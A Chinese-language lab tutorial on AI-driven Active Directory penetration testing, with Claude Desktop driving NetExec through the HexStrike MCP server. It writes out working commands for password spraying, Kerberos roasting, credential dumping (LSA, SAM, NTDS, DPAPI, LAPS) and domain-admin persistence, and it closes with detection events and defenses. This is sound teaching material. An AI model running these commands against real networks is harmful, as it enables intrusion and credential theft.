导语:本文手把手演示如何用AI驱动的方式完成一次完整的Active Directory渗透测试。通过HexStrike AI MCP服务器将Claude Desktop与NetExec连接,用自然语言指令替代手工敲命令,从域名枚举到拿下域管理员,全程用英文提问,AI自动选工具、拼命令、跑脚本、返回可直接粘贴到报告里的结果。
目录
- 简介
- 实验环境
- 安装HexStrike AI
- 启动HexStrike服务器
- 连接Claude Desktop
- 枚举域用户
- 枚举域组
- AS-REP Roasting攻击
- 破解AS-REP Hash
- Kerberoasting攻击
- 枚举adminCount对象
- 枚举Pre-Windows 2000计算机账户
- 寻找委派配置
- 枚举杀毒软件和EDR
- 枚举用户描述字段
- 枚举域密码策略
- 枚举域内计算机
- 枚举共享文件夹
- Zerologon漏洞检测(CVE-2020-1472)
- SMBGhost漏洞检测(CVE-2020-0796)
- NTLM强制认证与反射
- 密码喷洒——突破域管理员
- 枚举磁盘
- 开启RDP远程桌面
- 交互式RDP登录
- 重置域用户密码
- 导出LSA Secrets
- 导出SAM数据库
- 读取LAPS密码
- 窃取WinSCP保存的会话
- 掠夺DPAPI和凭证管理器
- 建立持久化——创建域用户
- 提权——将用户加入Domain Admins
- 收集事件日志
- DCSync检测特征——事件4662
- NetExec命令速查
- 防御建议
- 总结
一、简介
HexStrike AI通过MCP(Model Context Protocol)协议对外暴露150多个攻击型安全工具。MCP是一个开放标准,让AI助手能够以结构化的方式调用外部工具。一旦Claude Desktop连接上HexStrike AI服务器,AI就能充当你的”操作员”:你用英文描述一个技术动作,AI自动选择合适的工具和模块、补全参数、执行命令、解释结果。
在这个工作流里,NetExec(nxc)是真正干活的引擎——一个现代化的网络协议工具,支持SMB、LDAP和WinRM协议,集成了本文所有攻击技术所需的模块。
这种模式的核心价值在于”自我文档化”。你用英文提出需求,AI运行对应工具,返回一份结构清晰、可直接复制到渗透测试报告里的结果。对于想学习AD攻击路径但又不想一开始就记住所有命令参数的人来说,这是绝佳的学习路径。
整个渗透测试分为三个阶段,层层递进:
第一阶段:信息收集(Reconnaissance)——纯只读操作,通过LDAP和SMB查询摸清域内的攻击面。
第二阶段:漏洞利用(Exploitation)——先做无害化的CVE检测,然后做一次密码喷洒,拿下域管理员。
第三阶段:后渗透(Post-Exploitation)——利用已获取的域管理员身份,窃取凭证、建立持久化,最后切换到防守者视角,查看整个攻击过程在Windows事件日志里留下了什么痕迹。
贯穿三个阶段的铁律:只读操作优先,CVE检测无害化,所有写入操作都限定在我们控制的实验机器上。
二、实验环境
下图展示了对 ignite.local 域名发起AI驱动的Active Directory渗透测试的完整环境。攻击者使用一台 Kali Linux 工作站,通过 NetExec 做AD枚举,同时运行 HexStrike AI(一个暴露150+攻击工具的MCP服务器)。渗透测试针对两台域控制器:DC1(192.168.1.7)和DC2(192.168.1.11)。
整个攻击链路围绕三个凭证展开:
| 凭证 | 角色 |
|---|---|
| raaz / Password@1 | 低权限初始立足点 |
| Administrator / Ignite@987 | 密码喷洒后获取的域管理员 |
| raj / Password@2 | 渗透过程中被重置的密码,拥有LAPS委派读取权限 |
本文所有攻击均经过授权,仅限于实验环境。

三、安装HexStrike AI
HexStrike AI已收录在Kali官方软件源中,用apt一条命令即可安装。安装脚本会自动拉取所有Python依赖,无需手动克隆或编译:
sudo apt install hexstrike-ai

安装完成后,apt会报告最新版本已就绪,工具包随时可以启动。在新装的Kali上,会看到完整的包下载和安装过程。
四、启动HexStrike服务器
MCP客户端需要连接一个本地API服务器,这个服务必须在打开Claude Desktop之前启动。服务器绑定在 127.0.0.1:8888,并启动一个进程池来并行运行工具命令。
启动命令:
hexstrike_server

服务器上线后,会在终端里报告缓存大小、命令超时时间和增强型可视化引擎的状态。整个渗透测试过程中保持这个终端运行——一旦服务停止,Claude就失去了所有工具的访问能力。
五、连接Claude Desktop
Claude Desktop通过一个JSON配置文件来管理MCP服务器。项目README里给出了完整的配置块,包括命令路径、参数和服务器地址。
第一步:打开Claude Desktop,点击左下角账户名,进入Settings。

第二步:在Settings里找到Desktop app分类下的Developer选项。

第三步:在Developer页面的Local MCP servers区域,点击Edit Config。

第四步:配置文件 claude_desktop_config.json 位于 ~/.config/Claude/。确认文件位置后,用以下内容覆盖:
{
"mcpServers": {
"hexstrike-ai": {
"command": "hexstrike_mcp",
"args": [
"--server",
"http://127.0.0.1:8888"
],
"description": "HexStrike AI Security Tools",
"timeout": 300
}
}
}


第五步:保存配置文件后,重启Claude Desktop,返回Developer → Local MCP servers页面,确认连接器已报告运行状态,说明Claude已成功连接到HexStrike的所有工具。

六、枚举域用户
首先获取完整的账户列表。这是针对DC1的纯只读LDAP枚举,使用raaz的凭证。枚举结果将绘制出整个攻击面——在不触碰任何目标的情况下。
向Claude提问:
find all domain users
Claude在后台执行的命令:
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --users



Claude返回了完整的23个账户列表,并对每个账户进行了攻击路径标注——标注哪些账户可被AS-REP Roast、哪些是Kerberoasting目标、哪些属于特权组。这份表格就是后续所有攻击的目标清单。
七、枚举域组
光有用户名不足以判断谁真正掌控域内权限,组Membership才是关键。向Claude提问:
Enumerate Domain Groups
Claude执行的命令:
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --groups


枚举结果揭示了权限的真实分布:
- Krishna:非默认域管理员
- Ram:属于Backup Operators和Remote Management Users组
- Sita:持有Key Admins权限
- Sanjeet:在gMSA组内
每一个组Membership都是一条独立的可攻击路径。
八、AS-REP Roasting攻击
AS-REP Roasting针对启用了”不需要Kerberos预认证”的账户。任何未认证用户都可以请求这些账户的可破解Hash。向Claude提问:
Enumerate ASREPRoast
Claude找到 komal 账户(UAC flag 0x400000,即DONT_REQ_PREAUTH),但遇到了KDC路由问题。解决方法是将KDC固定在DC1:
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --asreproast /tmp/asrep_ignite.txt --kdcHost 192.168.1.7
捕获的Hash存入了 /tmp/asrep_ignite.txt,准备破解。

九、破解AS-REP Hash
抓到的Hash不破解就毫无意义。将Hash喂给hashcat,模式18200,字典用rockyou.txt。向Claude提问:
crack hash with rockyou.txt
实际执行的命令:
hashcat -m 18200 /tmp/asrep_ignite.txt /usr/share/wordlists/rockyou.txt

komal 的密码 Password@1 在几秒内被破解。有趣的是,这个密码和认证账户raaz的密码完全相同——两个发现叠加在一起:一个可Roast的账户 + 一个弱密码复用,这就是真实入侵场景中特权提升的典型路径。
十、Kerberoasting攻击
Kerberoasting针对配置了SPN(Service Principal Name,服务主体名)的账户。任何认证用户都可以请求TGS票据,然后离线破解服务账户密码。向Claude提问:
Enumerate Kerberoasting
执行的命令:
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --kerberoasting /tmp/kerb_ignite.txt --kdcHost 192.168.1.7

两个账户 raj 和 kavish 返回了RC4(etype 23)票据,可喂给hashcat模式13100进行破解。
十一、枚举adminCount对象
adminCount=1 标记了所有曾经是或当前是受保护组成员的账户。这是AD的AdminSDHolder进程自动打上的标记,会暴露”过期的特权”。向Claude提问:
Enumerate Admin Count
后台执行的命令:
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --admin-count

发现5个对象带有该标记,包括 krishna、ram 和 sita。adminCount陈旧条目是”被遗忘的可利用特权”的经典来源。
十二、枚举Pre-Windows 2000计算机账户
Pre-2k攻击针对那些计算机账户密码仍然是默认可预测值的机器——即小写计算机名、截断到14个字符的密码。向Claude提问:
Enumerate Pre2k Computer Account Abuse
后台执行的命令:
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' -M pre2k --kdcHost 192.168.1.7

DEMO$ 被标记为预创建候选账户并写入磁盘。
十三、寻找委派配置
委派配置错误是AD中最具影响力的高危发现之一。换到第二台DC,列出所有配置了Kerberos委派的账户。向Claude提问:
find delegation
后台执行的命令:
nxc ldap 192.168.1.11 -u raaz -p 'Password@1' --find-delegation

这台DC返回了4个发现,每个都是独立的攻击原语:
- 约束性委派+协议转换(kavish,针对MSSQL SPN)
- 无约束委派(WIN-SQL$)
- 两个基于资源的约束性委派(fakepc$ 和 fakecomp$,均指向 DC$)
最后一组直接构成了通向域控制器的攻击路径。
十四、枚举杀毒软件和EDR
了解目标机器上运行什么安全防护,会影响后续所有决策。NetExec的 enum_av 模块查询SecurityCenter2 WMI命名空间。向Claude提问:
Enumerate Anti-Virus & EDR
后台执行的命令:
nxc smb 192.168.1.7 -u raaz -p 'Password@1' -M enum_av

只注册了Windows Defender,没有第三方EDR。
十五、枚举用户描述字段
用户描述字段是经典的信息收集突破口——管理员有时会在这里存放密码或备注。向Claude提问:
Enumerate User Descriptions
HexStrike通过LDAP运行 get-desc-users 模块:
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' -M get-desc-users

7个账户设置了描述字段,实验环境的设计者有意用这个字段标注了每个账户对应的攻击演示:
- raj:Kerberoasting演示账户
- aarti:LAPS演示账户
- shivam:DCSync演示账户
- komal:AS-REP Roasting演示账户
任何描述文本都是一个活线索。
十六、枚举域密码策略
密码策略是防御建议章节的核心数据。向Claude提问:
Enumerate Domain Password Policy
后台执行的命令:
nxc smb 192.168.1.7 -u raaz -p 'Password@1' --pass-pol

账户锁定阈值(Account Lockout Threshold)为”无”(None),再加上最低7位的弱密码长度要求——这正是密码喷洒能够安全进行并大概率成功的原因。
十七、枚举域内计算机
把计算机账户映射到具体主机,将前面的所有发现串联起来。向Claude提问:
Enumerate Computers
后台执行的命令:
nxc ldap 192.168.1.11 -u raaz -p 'Password@1' --computers

6个计算机账户对应关系:
| 计算机 | 角色 |
|---|---|
| DC$ | RBCD攻击目标 |
| WIN-SQL$ | 无约束委派机器 |
| MyGMSA$ | gMSA服务账户 |
| fakepc$ / fakecomp$ | RBCD接管对象 |
| MSEDGEWIN10$ | Windows 10客户端,持有LAPS管理的本地管理员密码 |
十八、枚举共享文件夹
--shares 列出所有可访问的SMB共享及访问级别。向Claude提问:
Enumerate Share Folder
后台执行的命令:
nxc smb 192.168.1.7 -u raaz -p 'Password@1' --shares

DC1返回:ADMIN$、C$、IPC$、NETLOGON、SYSVOL,以及C:Users下的自定义Users共享。对ADMIN$和C$拥有写访问权限。SYSVOL永远值得细查。
十九、Zerologon漏洞检测(CVE-2020-1472)
NetExec的zerologon模块是纯检测性质,不会执行那项具有破坏性的机器账户密码重置。向Claude提问:
enumerate zerologon
后台执行的命令:
nxc smb 192.168.1.11 -u raaz -p 'Password@1' -M zerologon

DC对该CVE-2020-1472漏洞不感。模块遍历了所有加密尝试均未成功,说明Netlogon安全通道修复已生效。
二十、SMBGhost漏洞检测(CVE-2020-0796)
SMBGhost是SMBv3.1.1压缩漏洞。NetExec的检测是无害化的。向Claude提问:
enumerate smbghost
后台执行的命令:
nxc smb 192.168.1.11 -u raaz -p 'Password@1' -M smbghost

模块运行后没有返回漏洞发现,DC不存在此漏洞。
二十一、NTLM强制认证与反射
与上面已修补的CVE不同,这是一个真实存在的发现。coerce_plus 模块检查多个RPC接口,允许你强制DC向你所控制的主机发起认证。向Claude提问:
enumerate ntlm_reflection
后台执行的命令:
nxc smb 192.168.1.11 -u raaz -p 'Password@1' -M coerce_plus

这是192.168.1.11上最重大的发现。 DFSCoerce、PetitPotam、PrinterBug和MSEven均报告VULNERABLE。结合无约束委派机器WIN-SQL$,这是一条真实的强制认证→DCSync攻击路径。
二十二、密码喷洒——突破域管理员
密码喷洒是用一个密码去试所有账户。因为锁定阈值为”无”,一轮喷洒是安全的。向Claude提问:
password spraying on all users with password Ignite@987
HexStrike执行:
nxc smb 192.168.1.7 -u users.txt -p 'Ignite@987' --continue-on-success

一个命中:ignite.localAdministrator : Ignite@987 (Pwn3d!)——相当于从单个喷洒密码直接实现了对整个域的完全控制。
二十三、枚举磁盘
拿到管理员凭证后,先确认访问权限。向Claude提问:
Disks
后台执行的命令:
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --disks

DC1返回了C盘和D盘。非默认的D盘值得后续跟进——往往存放着备份或临时文件。
二十四、开启RDP远程桌面
现在在已拿下的机器上执行写入操作。NetExec的rdp模块一次性完成:翻转fDenyTSConnections并添加防火墙规则。向Claude提问:
enable rdp
后台执行的命令:
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' -M rdp -o ACTION=enable

RDP已在DC上成功开启,主机正在监听TCP 3389。
二十五、交互式RDP登录
脱离MCP工作流,用标准RDP客户端连接:
xfreerdp /v:192.168.1.7 /u:Administrator /p:'Ignite@987' /cert:ignore

会话直接进入域控制器的服务器管理器,以域管理员身份获得完整的图形化桌面。
二十六、重置域用户密码
有了域管理员权限,重置用户密码是解决账户过期问题的干净方案。通过WinRM用admin账户执行。向Claude提问:
please change raj password
执行的命令:
nxc winrm 192.168.1.7 -u Administrator -p 'Ignite@987' -x "net user raj Password@2 /domain"

raj的密码现在是 Password@2。管理员重置同时也清除了过期状态,拿到了第二十九节读取LAPS所需的有效凭证。
二十七、导出LSA Secrets
凭证窃取通过NetExec的SMB协议进行。向Claude提问:
dump --lsa file
后台执行的命令:
nxc smb 192.168.1.11 -u Administrator -p 'Ignite@987' --lsa

LSA导出成功——从DC中提取了7个secret。 最有价值的是DC$机器账户的NTLM Hash以及AES256/AES128/DES Kerberos密钥,是制作Silver Ticket/Golden Ticket的直接素材。
二十八、导出SAM数据库
向Claude提问:
dump SAM
后台执行的命令:
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --sam

从DC1中抓到了三个Hash。本地Administrator(RID 500)的Hash是独立设置的,与域Administrator不同。Guest和DefaultAccount均显示空密码的NTLM Hash——以后见到这种特征要能一眼识别出来。
二十九、读取LAPS密码
LAPS模块读取账户被授权查看的任何LAPS管理的本地管理员密码。使用raj凭证。向Claude提问:
dump laps password
后台执行的命令:
nxc ldap 192.168.1.7 -u raj -p 'Password@2' --laps

读取成功——通过LDAP直接返回了MSEDGEWIN10的明文本地管理员密码,仅仅利用了raj对计算机对象的ReadLAPSPassword权限,没有任何漏洞利用。
三十、窃取WinSCP保存的会话
WinSCP将会话凭证保存在注册表或WinSCP.ini中,加密方案薄弱且可逆。NetExec的winscp模块定位并解密。向Claude提问:
dump winscp
后台执行的命令:
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' -M winscp

在DC1的Administrator注册表配置单元中找到并解密了一个保存的会话:pentest@192.168.1.19,用户名 pentest,密码 123。这是另一台机器的明文凭证,这就是应用程序存储给我们带来的横向移动线索。
三十一、掠夺DPAPI和凭证管理器
DPAPI是Windows凭证管理器、密钥库和浏览器保存登录名的核心存储。dpapi 模块解密这些数据_blob。向Claude提问:
dump credential manager
后台执行的命令:
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --dpapi

DPAPI掠夺有实际收获。 解密了4个主密钥,从DC1的Administrator配置文件里抓到了两个Firefox保存的登录名。域控制器不是用户正常存储网络凭证的地方,最丰富的DPAPI攻击目标是客户端机器。在每台落地的机器上都跑一遍这个模块。
三十二、建立持久化——创建域用户
创建一个账户轻而易举,而且能给你一个 durable 的回访通道。向Claude提问:
create a new user name nishant with password Password@2
执行的命令:
nxc winrm 192.168.1.7 -u Administrator -p 'Ignite@987' -x "net user nishant Password@2 /add /domain"

Nishant 现在作为域用户存在于IGNITE.LOCAL中,密码为 Password@2,默认落入Domain Users组,下一步就是给它加特权。
三十三、将用户加入Domain Admins
把新账户加入Domain Admins组,把普通用户变成完全域控权限。向Claude提问:
add nishant user in domain admins group
执行的命令:
nxc winrm 192.168.1.7 -u Administrator -p 'Ignite@987' -x "net group "Domain Admins" nishant /add /domain"

Nishant现在是Domain Admins成员。 你持有一个独立于原始密码喷洒之外的、攻击者可控的第二个域管理员账户——这就是持久化的最终收益。
三十四、收集事件日志
切换视角。在已控制的DC上导出Security事件日志,为防御部分提供原始素材。向Claude提问:
dump event logs
后台执行的命令:
nxc winrm 192.168.1.7 -u Administrator -p 'Ignite@987' -x "wevtutil qe Security /c:15 /rd:true /f:text"

导出了最近15条Security事件,这些事件正是我们自己的攻击行为生成的痕迹。
三十五、DCSync检测特征——事件4662
事件ID 4662,目录服务访问。属性GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 是DS-Replication-Get-Changes,即DCSync和复制所使用的控制访问权限。4662事件引用这个GUID就是DCSync的规范化检测签名。

图中看到的是DC1$本身——这是合法的DC间复制,但事件形态与攻击者的DCSync完全相同。防守方应该在4662事件的属性GUID为复制权限、且主体账户不是域控制器时触发告警。
将事件与攻击步骤对照,就得到了报告的防御素材:
| 攻击动作 | 关联事件 |
|---|---|
| 账户创建 / DA提权 | 4720(用户创建)和4728/4732(加入特权组),最高可信度告警 |
| DCSync / 凭证复制 | 4662,携带复制权限属性GUID |
| 横向移动 / PTH | 4624,Type 3,成员服务器上的NTLM包 |
| NTDS / VSS活动 | System日志中的8222 / 4656和VSS服务事件 |
高可信度事件过滤查询:
wevtutil qe Security /q:"*[System[(EventID=4720 or EventID=4728)]]" /f:text
三十六、NetExec命令速查
以下是整个渗透过程中用到的NetExec命令参考,按协议分类。
向Claude提问:
list of all working nxc commands which can run here
SMB认证与枚举
SMB协议覆盖凭证验证和大多数主机及域枚举功能:
# 共享枚举
nxc smb 192.168.1.7 -u raaz -p 'Password@1' --shares
# 登录用户枚举
nxc smb 192.168.1.7 -u raaz -p 'Password@1' --loggedon
# 域用户枚举
nxc smb 192.168.1.7 -u raaz -p 'Password@1' --users
# 域组枚举
nxc smb 192.168.1.7 -u raaz -p 'Password@1' --groups
# 密码策略
nxc smb 192.168.1.7 -u raaz -p 'Password@1' --pass-pol
# 会话枚举
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --sessions
# 磁盘枚举
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --disks
# RID暴力破解
nxc smb 192.168.1.7 -u raaz -p 'Password@1' --rid-brute
# 计算机枚举
nxc smb 192.168.1.7 -u raaz -p 'Password@1' --computers


SMB凭证访问
这些是全文用到的凭证提取模块:
# 导出SAM数据库
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --sam
# 导出LSA Secrets
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --lsa
# 导出NTDS.dit
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --ntds
# 通过VSS导出NTDS
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --ntds-vss
# DPAPI解密
nxc smb 192.168.1.7 -u Administrator -p 'Ignite@987' --dpapi

LDAP专属模块
LDAP协议承载目录聚焦的攻击:
# BloodHound全量收集
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --bloodhound --collection All --dns-server 192.168.1.7
# Kerberoasting
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --kerberoasting /tmp/kerb.txt --kdcHost 192.168.1.7
# AS-REP Roasting
nxc ldap 192.168.1.7 -u raaz -p 'Password@1':1' --asreproast /tmp/asrep.txt --kdcHost 192.168.1.7
# 委派发现
nxc ldap 192.168.1.11 -u raaz -p 'Password@1' --find-delegation
# 密码不需要预认证账户
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --password-not-required
# adminCount对象
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --admin-count
# gMSA账户
nxc ldap 192.168.1.7 -u raaz -p 'Password@1' --gmsa
# LAPS密码读取
nxc ldap 192.168.1.7 -u raj -p 'Password@2' --laps

三十七、防御建议
基于整个渗透测试过程,以下是针对每类发现的防御措施:
锁定账户阈值 设置账户锁定阈值并配备重置窗口。空阈值正是让单次密码喷洒可以安全进行的原因;合理的阈值能直接阻止喷洒攻击。
提升密码复杂度 将最低密码长度提升至14位或更高,强制复杂度要求,禁止弱密码或重复使用密码。单个喷洒的Ignite@987直接打到了Domain Admin,komal和raaz的密码复用更是说明了重复使用密码的危害。
强制Kerberos预认证 通过移除DONT_REQ_PREAUTH标志,强制所有账户进行Kerberos预认证,从根本上阻止AS-REP Roasting攻击。
服务账户使用长随机密码并强制AES加密 为服务账户和gMSA账户使用长随机密码,强制仅允许AES加密类型,以削弱Kerberoasting攻击效果。
定期审计adminCount和委派配置 清理过期的adminCount=1对象和未使用或过多的委派权限。
重置Pre-Windows 2000计算机账户密码 重置所有预创建的计算机账户,绝不能使用默认密码。
禁止在描述字段存储敏感信息 将描述字段视为世界可读,永远不要在里面存密码或敏感备注。
保持域控制器补丁更新 Zerologon(CVE-2020-1472)和SMBGhost(CVE-2020-0796)在本文实验中均为阴性,要保持这种修复状态。
缓解NTLM强制认证和Relay攻击 强制SMB签名和扩展保护认证(EPA),修补MS-EFSR/PetitPotam漏洞,限制Print Spooler和DFS RPC接口。
清除应用程序中的保存凭证 WinSCP的可逆加密意味着保存的会话等于明文凭证——使用密钥认证,不要保存密码。
不要在域控制器上浏览网页或保存凭证 DPAPI掠夺之所以成功,纯粹是因为有人在DC配置文件里保存了登录凭证。
保护DPAPI主密钥 通过分层管理严格限制谁能运行LSA、SAM和NTDS提取,因为这些导出操作解锁了下游所有凭证解密。
收紧LAPS ACL 只允许指定角色读取ms-Mcs-AdmPwd,审计委派密码重置权限,防止单一用户既可读托管密码又可重置账户。
在域控制器上部署有篡改保护的真实EDR 而非仅依赖内置的Defender。
限制并监控DC上的RDP开启和远程WMI/WinRM执行 对fDenyTSConnections的变更进行告警。
对持久化行为告警 事件4720(用户创建)和4728/4732(加入特权组)是高可信度告警,应立即通知。
对DCSync行为告警 事件4662携带复制权限属性GUID、且主体账户不是域控制器时触发。
总结
这次渗透测试完整走完了Active Directory攻击的全流程——以及它的防御镜像——全程通过一个引导式对话完成。HexStrike AI和Claude Desktop将每个技术动作转化为自然语言提示词,NetExec在底层通过SMB、LDAP和WinRM执行真正的操作。
只读枚举摸清了域内的用户、组、Kerberos弱点、密码策略、计算机和共享资源。CVE检测排除了Zerologon和SMBGhost,但确认了一条活跃的NTLM强制认证路径。一次密码喷洒——因为没有设置锁定阈值所以安全——将低权限立足点直接变成Domain Admin。后渗透链条顺势展开:RDP访问、密码重置、从LSA/SAM/LAPS批量导出凭证、应用程序和DPAPI秘密的收割、以及一个全新的Domain Admin账户用于持久化。最后读取Security事件日志闭合了整个循环,展示了每步操作留下的确切痕迹,以及防守方如何捕获它们。
三个阶段的贯穿主线始终如一:每一步都由一个提示词驱动,由NetExec执行,以可直接写入报告的格式捕获结果。搭建实验环境,完整跑一遍攻击链,研究攻击和检测两个层面——因为只懂一半,就只完成了工作的一半。
版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。














暂无评论内容